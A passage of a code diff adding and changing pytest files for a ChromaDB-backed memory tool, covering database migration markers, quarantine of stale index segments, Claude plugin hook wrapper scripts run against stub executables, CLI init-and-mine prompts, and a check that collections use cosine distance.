conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
sysdb10_blob = b"\x11\x11502607"
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (sysdb10_blob,))
conn.commit()
conn.close()
_fix_blob_seq_ids(str(tmp_path))
conn = sqlite3.connect(str(db_path))
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings").fetchone()
# Still a BLOB — not converted to 1.23e18.
assert row == (sysdb10_blob, "blob")
conn.close()
def test_fix_blob_seq_ids_still_converts_legacy_blobs_in_embeddings(tmp_path):
"""Regression guard: pure big-endian u64 BLOBs still convert for genuine 0.6.x."""
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((42).to_bytes(8, "big"),))
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (b"\x11\x11502607",))
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((7).to_bytes(8, "big"),))
conn.commit()
conn.close()
_fix_blob_seq_ids(str(tmp_path))
conn = sqlite3.connect(str(db_path))
rows = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings ORDER BY rowid").fetchall()
assert rows[0] == (42, "integer")
assert rows[1] == (b"\x11\x11502607", "blob") # sysdb-10 row left alone
assert rows[2] == (7, "integer")
conn.close()
def test_fix_blob_seq_ids_writes_marker_after_blob_path(tmp_path):
"""The .blob_seq_ids_migrated marker is written after a successful BLOB → INTEGER conversion."""
from mempalace.backends.chroma import _BLOB_FIX_MARKER
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", ((42).to_bytes(8, "big"),))
conn.commit()
conn.close()
marker = tmp_path / _BLOB_FIX_MARKER
assert not marker.exists()
_fix_blob_seq_ids(str(tmp_path))
assert marker.is_file(), "marker must be written after a successful migration"
def test_fix_blob_seq_ids_writes_marker_when_already_integer(tmp_path):
"""The marker is written even when the migration is a no-op (already INTEGER).
The point of the marker is to skip the sqlite3 open on subsequent calls,
not to record that a conversion happened. So a clean palace gets the
marker on first run too — next ``_fix_blob_seq_ids`` call short-circuits
before touching the sqlite3 file.
"""
from mempalace.backends.chroma import _BLOB_FIX_MARKER
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id INTEGER)")
conn.execute("INSERT INTO embeddings (seq_id) VALUES (42)")
conn.commit()
conn.close()
marker = tmp_path / _BLOB_FIX_MARKER
assert not marker.exists()
_fix_blob_seq_ids(str(tmp_path))
assert marker.is_file(), "marker must be written even when no BLOBs found"
def test_fix_blob_seq_ids_skips_sqlite_when_marker_present(tmp_path):
"""When the marker exists, ``_fix_blob_seq_ids`` does not open sqlite3.
This is the load-bearing property of the marker — opening Python's
sqlite3 against a live ChromaDB 1.5.x WAL DB corrupts the next
PersistentClient call (#1090). Once a palace has been migrated, we
never want to open it again, even read-only.
"""
from unittest.mock import patch
from mempalace.backends.chroma import _BLOB_FIX_MARKER
# Pre-create the marker so the function should short-circuit.
db_path = tmp_path / "chroma.sqlite3"
db_path.write_bytes(b"sentinel") # presence required for the function to proceed
(tmp_path / _BLOB_FIX_MARKER).touch()
with patch("mempalace.backends.chroma.sqlite3.connect") as mock_connect:
_fix_blob_seq_ids(str(tmp_path))
mock_connect.assert_not_called()
# ── quarantine_stale_hnsw ─────────────────────────────────────────────────
# Marker bytes for the chromadb segment metadata file. A complete
# write begins with PROTO opcode (0x80) and ends with STOP opcode
# (0x2e); _segment_appears_healthy sniffs these bytes without parsing
# the file.
_HEALTHY_META = b"\x80\x04" + b"\x00" * 32 + b"\x2e"
_CORRUPT_META = b"\x00" * 64
def _make_palace_with_segment(tmp_path, hnsw_mtime, sqlite_mtime, meta_bytes=_HEALTHY_META):
"""Helper: build a palace dir with one HNSW segment + sqlite at given
mtimes. ``meta_bytes`` controls whether the segment looks healthy
(default), corrupt (``_CORRUPT_META``), or has no metadata file at
all (``None``)."""
palace = tmp_path / "palace"
palace.mkdir()
(palace / "chroma.sqlite3").write_text("")
seg = palace / "abcd-1234-5678"
seg.mkdir()
(seg / "data_level0.bin").write_text("")
if meta_bytes is not None:
(seg / "index_metadata.pickle").write_bytes(meta_bytes)
os.utime(seg / "data_level0.bin", (hnsw_mtime, hnsw_mtime))
os.utime(palace / "chroma.sqlite3", (sqlite_mtime, sqlite_mtime))
return palace, seg
def test_quarantine_stale_hnsw_renames_corrupt_segment(tmp_path):
"""Segment with stale mtime AND a malformed metadata file gets renamed."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(
tmp_path,
hnsw_mtime=now - 7200,
sqlite_mtime=now,
meta_bytes=_CORRUPT_META,
)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert len(moved) == 1
assert ".drift-" in moved[0]
assert not seg.exists()
renamed = list(palace.iterdir())
drift_dirs = [p for p in renamed if ".drift-" in p.name]
assert len(drift_dirs) == 1
assert (drift_dirs[0] / "data_level0.bin").exists()
def test_quarantine_stale_hnsw_leaves_healthy_segment_with_drift_alone(tmp_path):
"""Segment with stale mtime but a complete metadata file is NOT
renamed — this is the chromadb-1.5.x async-flush steady state, not
corruption. Production case at 06:24 PDT 2026-04-26: cold-start
quarantine renamed three healthy segments after a clean shutdown,
leaving 151K-drawer palace with vector_ranked=0."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(
tmp_path,
hnsw_mtime=now - 7200,
sqlite_mtime=now,
meta_bytes=_HEALTHY_META,
)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert seg.exists()
def test_quarantine_stale_hnsw_leaves_segment_without_metadata_alone(tmp_path):
"""Segment with no metadata file is treated as fresh / never-flushed
and not quarantined — renaming an empty dir orphans nothing."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(
tmp_path,
hnsw_mtime=now - 7200,
sqlite_mtime=now,
meta_bytes=None,
)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert seg.exists()
def test_quarantine_stale_hnsw_renames_truncated_metadata(tmp_path):
"""Segment with a truncated (under-floor-size) metadata file is
quarantined — shape of a partial-flush during process kill."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(
tmp_path,
hnsw_mtime=now - 7200,
sqlite_mtime=now,
meta_bytes=b"\x80\x04",
)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert len(moved) == 1
assert ".drift-" in moved[0]
def test_quarantine_stale_hnsw_leaves_fresh_segment_alone(tmp_path):
"""Segment with recent mtime vs sqlite is not touched (mtime gate
short-circuits before integrity gate)."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 10, sqlite_mtime=now)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert seg.exists()
def test_quarantine_stale_hnsw_no_palace(tmp_path):
"""Missing palace path or chroma.sqlite3: return [] without raising."""
assert quarantine_stale_hnsw(str(tmp_path / "missing")) == []
empty = tmp_path / "empty"
empty.mkdir()
assert quarantine_stale_hnsw(str(empty)) == []
def test_quarantine_stale_hnsw_skips_already_quarantined(tmp_path):
"""Directories already named with ``.drift-`` suffix are never re-renamed."""
now = 1_700_000_000.0
palace = tmp_path / "palace"
palace.mkdir()
(palace / "chroma.sqlite3").write_text("")
os.utime(palace / "chroma.sqlite3", (now, now))
drift = palace / "abcd-1234.drift-20260101-000000"
drift.mkdir()
(drift / "data_level0.bin").write_text("")
os.utime(drift / "data_level0.bin", (now - 99999, now - 99999))
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert drift.exists()
# ── make_client cold-start gate ──────────────────────────────────────────
def test_make_client_quarantines_only_on_first_call_per_palace(tmp_path, monkeypatch):
"""Quarantine fires on first ``make_client()`` for a palace, then is
skipped on subsequent calls — prevents runtime thrash where a daemon's
own steady writes bump ``chroma.sqlite3`` faster than HNSW flushes,
making the mtime heuristic falsely trigger every reconnect."""
from mempalace.backends.chroma import ChromaBackend
palace_path = str(tmp_path / "palace")
os.makedirs(palace_path, exist_ok=True)
(Path(palace_path) / "chroma.sqlite3").write_text("")
# Reset the per-process cache so this test is independent of others.
monkeypatch.setattr(ChromaBackend, "_quarantined_paths", set())
calls: list[str] = []
def _spy(path, stale_seconds=300.0):
calls.append(path)
return []
monkeypatch.setattr("mempalace.backends.chroma.quarantine_stale_hnsw", _spy)
ChromaBackend.make_client(palace_path)
ChromaBackend.make_client(palace_path)
ChromaBackend.make_client(palace_path)
assert calls == [
palace_path
], "quarantine_stale_hnsw should fire once per palace per process, not on every reconnect"
def test_make_client_quarantines_each_palace_independently(tmp_path, monkeypatch):
"""Two distinct palaces each get one quarantine attempt — the gate is
keyed by palace path, not global."""
from mempalace.backends.chroma import ChromaBackend
palace_a = str(tmp_path / "palace_a")
palace_b = str(tmp_path / "palace_b")
for p in (palace_a, palace_b):
os.makedirs(p, exist_ok=True)
(Path(p) / "chroma.sqlite3").write_text("")
monkeypatch.setattr(ChromaBackend, "_quarantined_paths", set())
calls: list[str] = []
def _spy(path, stale_seconds=300.0):
calls.append(path)
return []
monkeypatch.setattr("mempalace.backends.chroma.quarantine_stale_hnsw", _spy)
ChromaBackend.make_client(palace_a)
ChromaBackend.make_client(palace_b)
ChromaBackend.make_client(palace_a) # already gated
ChromaBackend.make_client(palace_b) # already gated
assert calls == [palace_a, palace_b]
# ── _pin_hnsw_threads (per-process retrofit, separate from this PR's gate) ──
def test_pin_hnsw_threads_retrofits_legacy_collection(tmp_path):
"""Legacy collections (created without num_threads) get the retrofit applied."""
palace_path = tmp_path / "legacy-palace"
palace_path.mkdir()
client = chromadb.PersistentClient(path=str(palace_path))
col = client.create_collection(
"mempalace_drawers",
metadata={"hnsw:space": "cosine"}, # no num_threads — legacy
)
assert col.configuration_json.get("hnsw", {}).get("num_threads") is None
_pin_hnsw_threads(col)
assert col.configuration_json["hnsw"]["num_threads"] == 1
def test_pin_hnsw_threads_swallows_all_errors():
"""Retrofit never raises even when collection.modify explodes."""
class _ExplodingCollection:
def modify(self, *args, **kwargs):
raise RuntimeError("boom")
_pin_hnsw_threads(_ExplodingCollection()) # must not raise
def test_get_collection_applies_retrofit_on_existing_palace(tmp_path):
"""ChromaBackend.get_collection(create=False) applies the retrofit."""
palace_path = tmp_path / "palace"
palace_path.mkdir()
# Simulate a legacy palace: create collection without num_threads
bootstrap_client = chromadb.PersistentClient(path=str(palace_path))
bootstrap_client.create_collection("mempalace_drawers", metadata={"hnsw:space": "cosine"})
del bootstrap_client # drop reference so a fresh client reopens cleanly
wrapper = ChromaBackend().get_collection(
str(palace_path),
collection_name="mempalace_drawers",
create=False,
)
assert wrapper._collection.configuration_json["hnsw"]["num_threads"] == 1
+192
View File
@@ -0,0 +1,192 @@
"""Execution tests for Claude plugin hook wrapper scripts."""
import os
import shutil
import subprocess
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[1]
PLUGIN_HOOKS_DIR = REPO_ROOT / ".claude-plugin" / "hooks"
BASH = shutil.which("bash")
pytestmark = pytest.mark.skipif(
BASH is None,
reason="bash required for Claude plugin hook wrapper tests",
)
SCRIPT_CASES = [
("mempal-stop-hook.sh", "stop"),
("mempal-precompact-hook.sh", "precompact"),
]
def _shell_path(path: Path) -> str:
return path.as_posix()
def _write_executable(path: Path, content: str) -> None:
path.write_text(content, encoding="utf-8")
path.chmod(0o755)
def _make_bin_dir(tmp_path: Path, executables: dict[str, str]) -> Path:
bin_dir = tmp_path / "bin"
bin_dir.mkdir()
for name, content in executables.items():
_write_executable(bin_dir / name, content)
return bin_dir
def _capture_stdin_to(output_path: Path) -> str:
return (
'stdin_payload=""\n'
'while IFS= read -r line || [ -n "$line" ]; do\n'
' stdin_payload="${stdin_payload}${line}"\n'
"done\n"
f'printf \'%s\' "$stdin_payload" > "{_shell_path(output_path)}"\n'
)
def _run_hook(
script_name: str,
payload: str,
bin_dir: Path,
) -> subprocess.CompletedProcess[str]:
assert BASH is not None
env = os.environ.copy()
env["PATH"] = str(bin_dir)
return subprocess.run(
[BASH, _shell_path(PLUGIN_HOOKS_DIR / script_name)],
input=payload,
text=True,
capture_output=True,
cwd=REPO_ROOT,
env=env,
)
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
def test_plugin_hook_wrapper_prefers_mempalace_cli(
tmp_path: Path, script_name: str, hook_name: str
) -> None:
args_file = tmp_path / "args.txt"
stdin_file = tmp_path / "stdin.json"
bin_dir = _make_bin_dir(
tmp_path,
{
"mempalace": (
"#!/bin/sh\n"
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
f"{_capture_stdin_to(stdin_file)}"
"printf '{}\\n'\n"
),
"python": "#!/bin/sh\nexit 99\n",
"python3": "#!/bin/sh\nexit 99\n",
},
)
payload = '{"session_id":"abc123"}'
result = _run_hook(script_name, payload, bin_dir)
assert result.returncode == 0
assert result.stdout == "{}\n"
assert (
args_file.read_text(encoding="utf-8")
== f"hook run --hook {hook_name} --harness claude-code"
)
assert stdin_file.read_text(encoding="utf-8") == payload
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
@pytest.mark.parametrize("python_name", ["python3", "python"])
def test_plugin_hook_wrapper_falls_back_to_importable_python(
tmp_path: Path, script_name: str, hook_name: str, python_name: str
) -> None:
args_file = tmp_path / "args.txt"
stdin_file = tmp_path / "stdin.json"
python_stub = (
"#!/bin/sh\n"
'if [ "$1" = "-c" ]; then\n'
" exit 0\n"
"fi\n"
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
f"{_capture_stdin_to(stdin_file)}"
"printf '{}\\n'\n"
)
bin_dir = _make_bin_dir(tmp_path, {python_name: python_stub})
payload = '{"session_id":"xyz789"}'
result = _run_hook(script_name, payload, bin_dir)
assert result.returncode == 0
assert result.stdout == "{}\n"
assert (
args_file.read_text(encoding="utf-8")
== f"-m mempalace hook run --hook {hook_name} --harness claude-code"
)
assert stdin_file.read_text(encoding="utf-8") == payload
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
def test_plugin_hook_wrapper_errors_cleanly_when_no_runner_exists(
tmp_path: Path, script_name: str, hook_name: str
) -> None:
bin_dir = _make_bin_dir(tmp_path, {})
payload = '{"session_id":"no-runner"}'
result = _run_hook(script_name, payload, bin_dir)
assert result.returncode != 0
assert result.stdout == ""
assert "could not find a runnable mempalace command or module" in result.stderr
@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import(
tmp_path: Path, script_name: str, hook_name: str
) -> None:
args_file = tmp_path / "args.txt"
stdin_file = tmp_path / "stdin.json"
bad_python3_used = tmp_path / "bad_python3_used.txt"
bin_dir = _make_bin_dir(
tmp_path,
{
"python3": (
"#!/bin/sh\n"
'if [ "$1" = "-c" ]; then\n'
" exit 1\n"
"fi\n"
f"printf 'used' > \"{_shell_path(bad_python3_used)}\"\n"
"echo 'No module named mempalace' >&2\n"
"exit 1\n"
),
"python": (
"#!/bin/sh\n"
'if [ "$1" = "-c" ]; then\n'
" exit 0\n"
"fi\n"
f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
f"{_capture_stdin_to(stdin_file)}"
"printf '{}\\n'\n"
),
},
)
payload = '{"session_id":"fallback"}'
result = _run_hook(script_name, payload, bin_dir)
assert result.returncode == 0
assert result.stdout == "{}\n"
assert (
args_file.read_text(encoding="utf-8")
== f"-m mempalace hook run --hook {hook_name} --harness claude-code"
)
assert stdin_file.read_text(encoding="utf-8") == payload
assert not bad_python3_used.exists()
+274 -3
View File
@@ -1,6 +1,7 @@
"""Tests for mempalace.cli — the main CLI dispatcher."""
import argparse
import shlex
import sys
from pathlib import Path
from unittest.mock import MagicMock, patch
@@ -108,6 +109,7 @@ def test_cmd_init_no_entities(mock_config_cls, tmp_path):
with (
patch("mempalace.entity_detector.scan_for_detection", return_value=[]),
patch("mempalace.room_detector_local.detect_rooms_local") as mock_rooms,
patch("mempalace.cli._maybe_run_mine_after_init"),
):
cmd_init(args)
mock_rooms.assert_called_once_with(project_dir=str(tmp_path), yes=True)
@@ -125,11 +127,54 @@ def test_cmd_init_with_entities(mock_config_cls, tmp_path):
patch("mempalace.entity_detector.detect_entities", return_value=detected),
patch("mempalace.entity_detector.confirm_entities", return_value=confirmed),
patch("mempalace.room_detector_local.detect_rooms_local"),
# Pass 0 (corpus_origin) needs real file IO; this test mocks
# builtins.open globally for the entities.json write, which would
# break Pass 0's file-reading path. Patch Pass 0 out — a separate
# suite (tests/test_corpus_origin_integration.py) covers it directly.
patch("mempalace.cli._run_pass_zero", return_value=None),
patch("builtins.open", MagicMock()),
patch("mempalace.cli._maybe_run_mine_after_init"),
):
cmd_init(args)
@patch("mempalace.cli.MempalaceConfig")
def test_cmd_init_normalizes_wing_name_for_topics_registry(mock_config_cls, tmp_path):
"""Regression for #1194: hyphenated dir names must be normalized to the
same slug ``mempalace.yaml`` uses, otherwise ``topics_by_wing`` keys
miss the miner's lookup at mine time and tunnels are silently dropped.
"""
project = tmp_path / "my-cool-app"
project.mkdir()
fake_files = [project / "a.txt"]
detected = {
"people": [{"name": "Alice"}],
"projects": [],
"topics": [{"name": "Bun"}],
"uncertain": [],
}
confirmed = {"people": ["Alice"], "projects": [], "topics": ["Bun"]}
args = argparse.Namespace(dir=str(project), yes=True)
with (
patch("mempalace.entity_detector.scan_for_detection", return_value=fake_files),
patch("mempalace.entity_detector.detect_entities", return_value=detected),
patch("mempalace.entity_detector.confirm_entities", return_value=confirmed),
patch("mempalace.miner.add_to_known_entities") as mock_register,
patch("mempalace.room_detector_local.detect_rooms_local"),
patch("builtins.open", MagicMock()),
patch("mempalace.cli._maybe_run_mine_after_init"),
# Pass-zero corpus-origin detection runs unconditionally inside
# cmd_init now (#1221 / #1223). It accesses MempalaceConfig fields
# that don't survive MagicMock stringification, so stub it out —
# this test only cares about the wing-slug write to the registry.
patch("mempalace.cli._run_pass_zero", return_value=None),
):
mock_register.return_value = "/tmp/known_entities.json"
cmd_init(args)
mock_register.assert_called_once()
assert mock_register.call_args.kwargs["wing"] == "my_cool_app"
@patch("mempalace.cli.MempalaceConfig")
def test_cmd_init_with_entities_zero_total(mock_config_cls, tmp_path, capsys):
"""When entities detected but total is 0, prints 'No entities' message."""
@@ -140,12 +185,238 @@ def test_cmd_init_with_entities_zero_total(mock_config_cls, tmp_path, capsys):
patch("mempalace.entity_detector.scan_for_detection", return_value=fake_files),
patch("mempalace.entity_detector.detect_entities", return_value=detected),
patch("mempalace.room_detector_local.detect_rooms_local"),
patch("mempalace.cli._maybe_run_mine_after_init"),
):
cmd_init(args)
out = capsys.readouterr().out
assert "No entities detected" in out
# ── _maybe_run_mine_after_init (init → mine prompt, #1181) ─────────────
def _init_args(tmp_path, *, yes=False, auto_mine=False):
return argparse.Namespace(dir=str(tmp_path), yes=yes, auto_mine=auto_mine)
def _fake_cfg(tmp_path):
cfg = MagicMock()
cfg.palace_path = str(tmp_path / "palace")
return cfg
def _fake_scanned(tmp_path, n=3):
"""Build n real Path objects with stat()-able sizes for the scan estimate."""
paths = []
for i in range(n):
p = tmp_path / f"f{i}.txt"
p.write_text("x" * 1024) # 1 KB each
paths.append(p)
return paths
def test_maybe_run_mine_prompt_accepted_runs_mine(tmp_path):
"""Empty / 'y' / 'yes' on the prompt triggers mine() in-process."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
scanned = _fake_scanned(tmp_path, n=3)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=scanned),
patch("builtins.input", return_value=""),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_called_once_with(
project_dir=str(tmp_path),
palace_path=cfg.palace_path,
files=scanned,
)
def test_maybe_run_mine_prompt_yes_accepted_runs_mine(tmp_path):
"""Explicit 'y' answer also runs mine()."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", return_value="Y"),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_called_once()
def test_maybe_run_mine_prompt_declined_prints_hint(tmp_path, capsys):
"""'n' answer skips mine() and prints the resume hint."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", return_value="n"),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_not_called()
out = capsys.readouterr().out
# shlex.quote is a no-op on POSIX-safe paths but wraps Windows paths
# (which contain backslashes) in single quotes, so the assertion has
# to mirror what the production code actually emits.
assert f"mempalace mine {shlex.quote(str(tmp_path))}" in out
assert "Skipped" in out
def test_maybe_run_mine_yes_alone_still_prompts(tmp_path):
"""`--yes` is scoped to entity auto-accept and MUST still prompt for mine.
Regression guard for the flag-overload review feedback on #1183: extending
`--yes` to also auto-mine would silently change behaviour for scripted
callers and turn a fast command into a minutes-long ChromaDB write.
"""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=True, auto_mine=False)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", return_value="n") as mock_input,
):
_maybe_run_mine_after_init(args, cfg)
mock_input.assert_called_once() # the prompt MUST fire
mock_mine.assert_not_called()
def test_maybe_run_mine_auto_mine_skips_prompt(tmp_path):
"""`--auto-mine` runs mine() automatically without calling input()."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=True)
cfg = _fake_cfg(tmp_path)
scanned = _fake_scanned(tmp_path, n=2)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=scanned),
patch("builtins.input", side_effect=AssertionError("input() must not be called")),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_called_once_with(
project_dir=str(tmp_path),
palace_path=cfg.palace_path,
files=scanned,
)
def test_maybe_run_mine_yes_and_auto_mine_fully_noninteractive(tmp_path):
"""`--yes --auto-mine` together: never call input(), always mine."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=True, auto_mine=True)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", side_effect=AssertionError("input() must not be called")),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_called_once()
def test_maybe_run_mine_decline_quotes_path_with_spaces(tmp_path, capsys):
"""The resume hint must shell-quote the project dir so paths with
spaces / metacharacters produce a copy-paste-safe command."""
from mempalace.cli import _maybe_run_mine_after_init
spaced_dir = tmp_path / "my project dir"
spaced_dir.mkdir()
args = argparse.Namespace(dir=str(spaced_dir), yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine"),
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", return_value="n"),
):
_maybe_run_mine_after_init(args, cfg)
out = capsys.readouterr().out
# shlex.quote wraps paths with spaces (and Windows backslashes) in
# single quotes — the assertion must use the same shlex form so the
# test passes on every platform's tmp_path layout.
assert f"mempalace mine {shlex.quote(str(spaced_dir))}" in out
# Bare unquoted form must NOT appear — that's the bug we're guarding.
assert f"mempalace mine {spaced_dir} " not in out
assert f"mempalace mine {spaced_dir}`" not in out
def test_maybe_run_mine_eof_on_stdin_treated_as_decline(tmp_path, capsys):
"""Piped / non-interactive stdin (EOFError) declines without crashing."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine") as mock_mine,
patch("mempalace.miner.scan_project", return_value=[]),
patch("builtins.input", side_effect=EOFError),
):
_maybe_run_mine_after_init(args, cfg)
mock_mine.assert_not_called()
assert "Skipped" in capsys.readouterr().out
def test_maybe_run_mine_failure_surfaces_via_exit(tmp_path, capsys):
"""Mine errors are not swallowed — they exit non-zero with an error line."""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=True)
cfg = _fake_cfg(tmp_path)
with (
patch("mempalace.miner.mine", side_effect=RuntimeError("boom")),
patch("mempalace.miner.scan_project", return_value=[]),
):
with pytest.raises(SystemExit) as exc_info:
_maybe_run_mine_after_init(args, cfg)
assert exc_info.value.code == 1
err = capsys.readouterr().err
assert "boom" in err
def test_maybe_run_mine_estimate_appears_before_prompt(tmp_path, capsys):
"""The file-count + size estimate line MUST render BEFORE the prompt.
Required by the spec: hitting Enter on a default-Y prompt with no size
info is a footgun on a real corpus where mine takes minutes. The user
must see scope before being asked to confirm.
"""
from mempalace.cli import _maybe_run_mine_after_init
args = _init_args(tmp_path, yes=False, auto_mine=False)
cfg = _fake_cfg(tmp_path)
scanned = _fake_scanned(tmp_path, n=4) # 4 files * 1 KB each
captured_when_prompted = {}
def fake_input(prompt):
# Snapshot what stdout looked like at the moment the prompt fires.
captured_when_prompted["stdout"] = capsys.readouterr().out
return "n"
with (
patch("mempalace.miner.mine"),
patch("mempalace.miner.scan_project", return_value=scanned),
patch("builtins.input", side_effect=fake_input),
):
_maybe_run_mine_after_init(args, cfg)
pre_prompt = captured_when_prompted["stdout"]
assert "4 files" in pre_prompt, f"file count missing from pre-prompt output: {pre_prompt!r}"
assert "MB" in pre_prompt, f"size estimate missing from pre-prompt output: {pre_prompt!r}"
assert "would be mined" in pre_prompt
# ── cmd_mine ───────────────────────────────────────────────────────────
@@ -334,9 +605,9 @@ def test_mcp_command_prints_setup_guidance(monkeypatch, capsys):
captured = capsys.readouterr()
assert "MemPalace MCP quick setup:" in captured.out
assert "claude mcp add mempalace -- python -m mempalace.mcp_server" in captured.out
assert "claude mcp add mempalace -- mempalace-mcp" in captured.out
assert "\nOptional custom palace:\n" in captured.out
assert "python -m mempalace.mcp_server --palace /path/to/palace" in captured.out
assert "mempalace-mcp --palace /path/to/palace" in captured.out
assert "[--palace /path/to/palace]" not in captured.out
assert captured.err == ""
@@ -349,7 +620,7 @@ def test_mcp_command_uses_custom_palace_path_when_provided(monkeypatch, capsys):
captured = capsys.readouterr()
expanded = str(Path("~/tmp/my palace").expanduser())
assert "python -m mempalace.mcp_server --palace" in captured.out
assert "mempalace-mcp --palace" in captured.out
assert expanded in captured.out
assert "Optional custom palace:" not in captured.out
assert "[--palace /path/to/palace]" not in captured.out
+87
View File
@@ -0,0 +1,87 @@
"""Invariant tests: every ChromaDB collection-creation path must set
``hnsw:space=cosine``.
Reason: ChromaDB's default HNSW distance is L2 (Euclidean). Under L2,
the searcher's ``max(0, 1 - distance)`` similarity formula systematically
floors to 0 because L2 distances on normalized 384-dim vectors routinely
exceed 1.0 — users then see flat ``Match: 0.0`` across every result and
have no signal that their palace is broken.
This test file locks the invariant so a future refactor that drops the
``metadata={"hnsw:space": "cosine"}`` parameter from any creation path
gets caught at test time rather than silently degrading search quality.
"""
from mempalace.backends.chroma import ChromaBackend
from mempalace.palace import get_collection
EXPECTED_METRIC = "cosine"
def _assert_cosine(col, where: str) -> None:
meta = col.metadata if hasattr(col, "metadata") else col._collection.metadata
assert isinstance(meta, dict), f"{where}: expected metadata dict, got {meta!r}"
assert meta.get("hnsw:space") == EXPECTED_METRIC, (
f"{where}: expected hnsw:space={EXPECTED_METRIC!r}, got {meta!r}. "
"A collection without cosine metric will silently break the "
"similarity formula used by the searcher."
)
def test_legacy_get_or_create_collection_sets_cosine(tmp_path):
backend = ChromaBackend()
col = backend.get_or_create_collection(str(tmp_path), "mempalace_drawers")
_assert_cosine(col, "legacy get_or_create_collection")
def test_legacy_create_collection_sets_cosine(tmp_path):
backend = ChromaBackend()
col = backend.create_collection(str(tmp_path), "mempalace_drawers")
_assert_cosine(col, "legacy create_collection")
def test_new_get_collection_with_create_sets_cosine(tmp_path):
"""RFC 001 typed surface — ``get_collection(..., create=True)`` is the
path the miner + init flow take. Must also set cosine."""
backend = ChromaBackend()
col = backend.get_collection(str(tmp_path), "mempalace_drawers", create=True)
_assert_cosine(col, "get_collection(create=True)")
def test_palace_module_get_collection_sets_cosine(tmp_path):
"""The public ``mempalace.palace.get_collection`` is what most callers
use. Must produce cosine palaces."""
col = get_collection(str(tmp_path), "mempalace_drawers", create=True)
_assert_cosine(col, "palace.get_collection(create=True)")
def test_reopening_cosine_palace_preserves_metric(tmp_path):
"""Opening a previously-created cosine palace (create=False) must
still expose the cosine metadata — catches any regression where
reopening drops or overwrites metadata."""
backend = ChromaBackend()
backend.create_collection(str(tmp_path), "mempalace_drawers")
# Fresh backend simulates a process restart
backend2 = ChromaBackend()
col = backend2.get_collection(str(tmp_path), "mempalace_drawers", create=False)
_assert_cosine(col, "re-opened palace")
def test_fresh_palace_via_full_stack_gets_cosine(tmp_path):
"""End-to-end: build a palace with the public API the way a new user
would, confirm the resulting collection uses cosine distance.
Uses the ``tmp_path`` fixture rather than ``tempfile.TemporaryDirectory``
